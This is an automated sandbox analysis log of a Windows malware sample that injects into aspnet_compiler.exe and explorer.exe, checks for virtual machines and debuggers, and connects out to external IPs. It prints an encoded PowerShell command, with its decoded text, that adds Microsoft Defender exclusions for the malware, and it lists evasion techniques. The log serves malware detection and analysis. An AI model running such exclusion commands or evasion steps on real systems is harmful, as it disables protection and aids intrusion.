Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996970093.0000000001311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE8

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 26B46FB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 26B60820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory allocated: 2278F310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory allocated: 227A8D00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5131			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4691			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep time: -7378697629483816s >= -30000s			Jump to behavior
Source: C:\Windows\explorer.exe TID: 6580	Thread sleep count: 33 > 30			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1:en-CH:Microsoft\|VMWare\|Virtual
Source: aspnet_compiler.exe	Binary or memory string: OVmCIeEoTlkoRbs8QYAx5QJAFi5bpivwDUAhLUW7K+A0TlIh4ehOgWF2ajlBkzVfni1VmSBWpTVCoTHt8k+baXBqO1qZIOElRVYjQ4c08iBSTC7try2QqTmTLUAGJlCmPVmnIJ29IsCkgn//z78nqD5Hpy+ftytKgS3yrz9IrSHIr4Z85dGtJ6U+Wbg787gkVaMqVZgs7Lo5k6ksVawvWrgi+a4jT6w1Uq4j+7Mwjrw/R6AuW50u8rAtcqc6WJMh+607
Source: aspnet_compiler.exe	Binary or memory string: CbKIMk31SnIGcgexxPFCMbyxeLA+tX52src2tTJwM7ItsqwyYfVmciJyI7HY8R4x2LEcsFK1EnbWt1K1TnBPsk2yzDIB9QZyQnJDsbjxPjH4sTywdrU2duq3brVqcGuyYbLgMiX1InJecp+xXPHaMRSx0LCWtdZ2CreOtYpwi7KBsgAyxfXCcrpyu7Fw8fYxMLH0sKq16nYut6q1pnCnsqWyJDLZ9Z5y2nLbsRDxljFQsZSwyrWKdk63yrXCcMOy+bJ4
Source: aspnet_compiler.exe	Binary or memory string: FgtaUltSYBxbREkpNRceFxsNGkQTDwYRUU0uEFNNXhgAGxEeEQEaDQ5SEgYrFBYKSEcFEQRMUExccwNZK08FHgFSekAASTRRSlMRRlF6BxEXGEBQORJIAgsWEwUVOxsODjYUCwYIV0YaSFp8Ax4GS0szAk5GF1VNDhcFV0s7AkFKTxcGHQsLADUUBBs1FBMMGFd8AgM9WDhaFR4FHTswNCY2FxgdHBofQgg6RjdcExYdIRcXDUoHFyoYAg9ITU1hBQwr
Source: aspnet_compiler.exe	Binary or memory string: Dr9+RwoHCZsxLzjDNKs4ay/reydGq16rfict+zFbOOM0X0eHMycymw5PBYMNCwDrFGtDx39rZotGJxWbOVsw4zxfT4c7JzqbBg8OYwILDasdi0nHdStta00nHNs8uzTjOB9IZzwnP9sDrwuDB0sLCx9rSod2i25LTkceGz2bKYMl31VHIUcg2xyvFEMYaxRrA6tXp2vrc0tTRwLbIrsq4yYfVmciJyHbGa8Rgx1LEQsFa1CHbIt0i1RnBHsnmy+DIx9T
Source: aspnet_compiler.exe	Binary or memory string: kcHx202zczn5mcH3Zec/aYmRtcJ9pjJYkaTw6VHlfSCFwOTO/bLCitGa6tx55CB1ZZFZL+Wnq8KlpsbeqeaG2lHCMhgFsDhyrZqWoPXkrPo1kgp98aW91r2m3scJ5yd5ZcEFL8Wz+7GFmb2KgebajSGRHWtJpwdtgaXh+enlxZjNwKyFebFFD5mbo5Yt5nYgmZCk0A2kQCiNpOz0VeR4Jw3Db0WBsb33TZt3QLXk7LnRke2ZOaV1Hl2mPiRB5Gwz1cO3
Source: explorer.exe, 00000006.00000002.3378093722.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.0000000001249000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: aspnet_compiler.exe	Binary or memory string: hrey3sL0KQNg+ZC/AHaajBZJMSUbiDBlFOHp4hp66eSaag23JKPL/Dxn7M97Am3ErfH1qN18r9wS/3eLgd82T/U0XERCn6mtt2P+L+5z3HALV1JXf32xcDoc1ow0GKAvtqIlWEQ7bDFtNheXqvbNFQz9srnEWmiYs8ZjYyjRI8EweYrH/H1A0YlRZ2cQ2dnCkfZX3JQeMujt83ron4HlO9zvr9zAZ0rhAb0mFqXfKjJSYby0NwHbL6dVOks9HjR33EU1
Source: wscript.exe, 00000008.00000002.2300717227.0000023C49AC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\
Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: cmd$select * from Win32_BIOS8Unexpected WMI query failure%version&SerialNumber(VMware\|VIRTUAL\|A M I\|Xen)select * from Win32_ComputerSystem*manufacturer+model,Microsoft\|VMWare\|Virtual-john.anna/xxxxxxxx
Source: aspnet_compiler.exe	Binary or memory string: FNmemReayNlS3N9ZAhqemuzZTtqBmdmbB1qbXbSezl4AX96ZAlxZGUDcjpkCXN6a3F0fGpKZCFsfmRtdjNRfnipYD1kOkdkZThffWTBbz1rA098aiVDZmwOcip2Mlp+eCJDemTebSNlO1Z9ZCpXemsHYjtqJlpmbFI5bXbmfDl4QSx6ZA0sZGUTdDpkFS56ayo9fGpmZSFsNi1tdnEtfnjRbT1kejtkZTAafWQVZT1rOwp8anoAZmzuhit2Yhl+eFAAe
Source: file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: explorer SbieDll.dll!cuckoomon.dll"win32_process.handle='{0}'#ParentProcessId$cmd%select * from Win32_BIOS8Unexpected WMI query failure&version'SerialNumber)VMware\|VIRTUAL\|A M I\|Xenselect from Win32_ComputerSystem+manufacturer,model-Microsoft\|VMWare\|Virtual.john/anna0xxxxxxxxEpowershellVStart-Sleep -Seconds 5; Remove-Item -Path '
Source: wscript.exe, 00000008.00000002.2300717227.0000023C49AC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: aspnet_compiler.exe	Binary or memory string: Q1kkLPKIzgtjaXCCKt99bCJSgT7hdWTgS2w+V6Iu4SCfMfrl0WR2ayviqa03uZeEalkp/ZC3N6xJckZsoSOwY2FT9KM8uHVpYWC3L5JZYmpsviSSQPVxer4pnmZwVmCiIpV3YlPhsS6TanJoZSHh5FJ7YXZlxzNg+qz2555nHz0v8rqMaTGKlOapCSYz0U5sankp+z+gOvO2hIz5mJntpRJWyzR5ZHasJ01YF3VpaiTnfOu+SHAzwL1tdmQu7aMt7j1V
Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: aspnet_compiler.exe	Binary or memory string: IfvuVtlqbGox6qMie7Qxcrs6V54u4+FDyXFkeSxV70fBcGpyIVmcIvKkPlmZOo+pJH3gQs5oZWcx+qsxVeJPy2lwajri/kiqeWF2InsmXFEkR+BC1mhlZzFSKF1MPuLPTehqcmkj54IxlqMj+7Ewcqs+VSJCQCzsujhHuSj970epcGpyIVmUIvKkP0mwOvHFSOZkZmYkVr81QqUx7zpPCyD7kz7g7kiqeWF2Inu5NPIoUiwuVYIs7Kk97eVApmtjaTzh
Source: aspnet_compiler.exe	Binary or memory string: 0QHcCaQmqA2gKqWAfJXkVow9/BbAPZR+ycQd5Gap+OXqEMu0iQjTuojhCprisfuInTVjnbnkMYxS5B3kFtfmLOF+HAmkVsGnuPVUwH2sIqQVmH6kUZhm0bjzscm6xvH89bzJAJiXlYUk8+rQ9VydHIuiCc7+JMS2rs3E3aaI287MpRagnp6FpIPRVZR8leRWzLHOKNuAuSF486qovQ6g5uKd+IetyewNoB6sl8p43WJot+yZWReM4TjVipi5DqB52ErY
Source: aspnet_compiler.exe	Binary or memory string: 9oiHo5bTIJKv6qrah8N3w8HtXU4eG1dbT5Gg74AGq8ZzcEbFtfAiMarLMRyprQBtqbSoK+cieqJTRXmi7ymZaVEt+4RIzR/MlgvVEDu/Dz+3KcylNXA08A/ZTMcWELSQTfk0v89KgcsqEmUB46coZ77Wna79+Jb4jLPG1mocmoJcqzFP0dVSfxRfYD9zqKgWa4bCLSKjJHjnnjCervt9U/tIAgUcM7SqsrRfG5/ZWdiaW0J53wrNkU5KY0F61xEsVzBb
Source: aspnet_compiler.exe	Binary or memory string: LAytXJ2trcytS5wL7ItsqwyYfVmciJyI7HY8R4x2LEcsFK1EnbWt1K1TnBPsk2yzDIF9QJyfnJ/sbzxOjH0sTCwdrU2duq3brVqcGuyYbLgMiX1InJecp+xXPHaMRSx0LCWtdZ2DreKtYZwh7KFsgQy+fX+crpyu7Fw8fYxMLH0sKq16nYut6q1pnCnsqWyJDLZ9Z5y2nLbsRTxkjFMsYiwzrWOdkK3xrXCcMOy+bJ4Mr31unL2cvexNPGyMWyxqLDut
Source: aspnet_compiler.exe	Binary or memory string: lCisYR66Kxsa3lhMuH0+PjwV3YgVeLS5e5CcSz0cXhzkJb77sLp41dqPVK1Kn/EtR8teQq3AGcHth8waxekRe/p6flRcihZqiv4hoaVb3IedgKWLO0iTEUBdhOEH2saiWw+kyv5VW0p4TVmciv7Hn9xLf0QYWog6GLKZpeGJHndrKifYjbi3ubq+Fp2K3/EsTitn2zt+uLl5kJxJHbSu6qOYTTh7uPq7VF5IXncvrOWcSj94Ozm6V5nOH7SsCW3gmstQ
Source: aspnet_compiler.exe	Binary or memory string: GxCp2tBNQeJoPVGQa2yNllxpTZDAAVGsvQjtqIg1IbAUdQ3auWTl4CQhUZLUCSmU7UzpkiQBUazAMUmouQyFsChxDdhcVUHi9RT1k5gNKZdccU2R9Tz1rYw9SahMPSGwaVCp2GhZQeMUKVGQqTSNlpx9TZLEPVGub1DtqogJIbDAVQ3bu6zl4GQBUZPwKSmUrUjpk2QhUax8EUmpe1yFsFhRDdkofUHgx0j1kRglKZVsWU2QZ2j1rIwZSanoYSGxyxyp

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 154.216.20.243 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 37.203.243.102 3333	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.168.0.100 4444	Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\file.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\alfons\Desktop\file.exe; Add-MpPreference -ExclusionProcess C:\Users\alfons\Desktop\file.exe;Add-MpPreference -ExclusionPath C:\Users\alfons\AppData\Roaming\WindosCPUsystem.exe; Add-MpPreference -ExclusionProcess C:\Users\alfons\AppData\Roaming\WindosCPUsystem.exe
Source: C:\Users\user\Desktop\file.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\alfons\Desktop\file.exe; Add-MpPreference -ExclusionProcess C:\Users\alfons\Desktop\file.exe;Add-MpPreference -ExclusionPath C:\Users\alfons\AppData\Roaming\WindosCPUsystem.exe; Add-MpPreference -ExclusionProcess C:\Users\alfons\AppData\Roaming\WindosCPUsystem.exe			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtQuerySystemInformation: Direct from: 0x7FF8A5701285	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtQueryVolumeInformationFile: Direct from: 0x7FF8A664734C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtQueryAttributesFile: Direct from: 0x7FF8A845FF57	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtAllocateVirtualMemory: Direct from: 0x7FF8491050D9	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtQueryAttributesFile: Direct from: 0x7FF8A6644413	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtReadFile: Direct from: 0x7FF8A663C9C8	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtProtectVirtualMemory: Direct from: 0x7FF8A84B2EA4	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtSetSecurityObject: Direct from: 0x7FF8C88A26A1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtSetInformationProcess: Direct from: 0x7FF8A845FF6B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtProtectVirtualMemory: Direct from: 0x7FF8491126F9	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtProtectVirtualMemory: Direct from: 0x7FF8490F6CBD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtCreateThreadEx: Direct from: 0x7FF8A8498EE0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtClose: Direct from: 0x7FF8A664713F
Source: C:\Users\user\Desktop\file.exe	NtAllocateVirtualMemory: Direct from: 0x7FF8A8498212	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtAllocateVirtualMemory: Direct from: 0x7FF8C88C4B5E	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtProtectVirtualMemory: Direct from: 0x7FF8A8460906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtClose: Direct from: 0x7FF8A84979FF
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtOpenKeyEx: Direct from: 0x7FF8A84D87B7	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtCreateFile: Direct from: 0x7FF8A664517F	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtDelayExecution: Direct from: 0x7FF8A8405073	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtQueryValueKey: Direct from: 0x7FF8A4C71DC5	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtSetInformationThread: Direct from: 0x7FF8A856C20C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtSetInformationProcess: Direct from: 0x7FF8A845FF46	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtProtectVirtualMemory: Direct from: 0x7FF8A570B1AC	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtQuerySystemInformation: Direct from: 0x7FF8A84253EE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtWriteVirtualMemory: Direct from: 0x7FF8491061B2	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtAdjustPrivilegesToken: Direct from: 0x7FF8A5701BEC	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtWriteVirtualMemory: Direct from: 0x7FF8491137D2	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtMapViewOfSection: Direct from: 0x7FF8A84FA7F5	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtResumeThread: Direct from: 0x7FF84910704C	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtUnmapViewOfSection: Direct from: 0x7FF849105906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtQueryAttributesFile: Direct from: 0x7FF8A84DBC4A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtUnmapViewOfSection: Direct from: 0x7FF849112F26	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtDeviceIoControlFile: Direct from: 0x7FF8A85AF207	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtSetContextThread: Direct from: 0x7FF849106756	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtResumeThread: Direct from: 0x7FF8A8498CF6	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	NtQuerySystemInformation: Direct from: 0x7FF8A8498FF3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtClose: Direct from: 0x7FF8A5B59A3C
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtResumeThread: Direct from: 0x7FF84911466C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	NtSetContextThread: Direct from: 0x7FF849113D76	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140000000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140000000 value starts with: 4D5A			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 140000000 value: 4D	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 140001000 value: 40	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 140360000 value: 00	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 1404C8000 value: 20	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 1407FB000 value: 00	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 14081B000 value: 48	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 14081C000 value: 48	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 14081F000 value: 48	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 140821000 value: CE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 140822000 value: 00	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 140823000 value: 00	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory written: PID: 6760 base: 1163010 value: 00	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread register set: target process: 1012	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread register set: target process: 6760	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Thread register set: target process: 5628	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140000000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140001000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140006000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140008000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C0000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C1000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C2000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C3000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 2F5A42C010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140000000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140001000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140006000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 140008000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C1000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C2000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 1406C3000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe base: 94EE632010	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe "C:\Users\user\AppData\Roaming\WindosCPUsystem.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

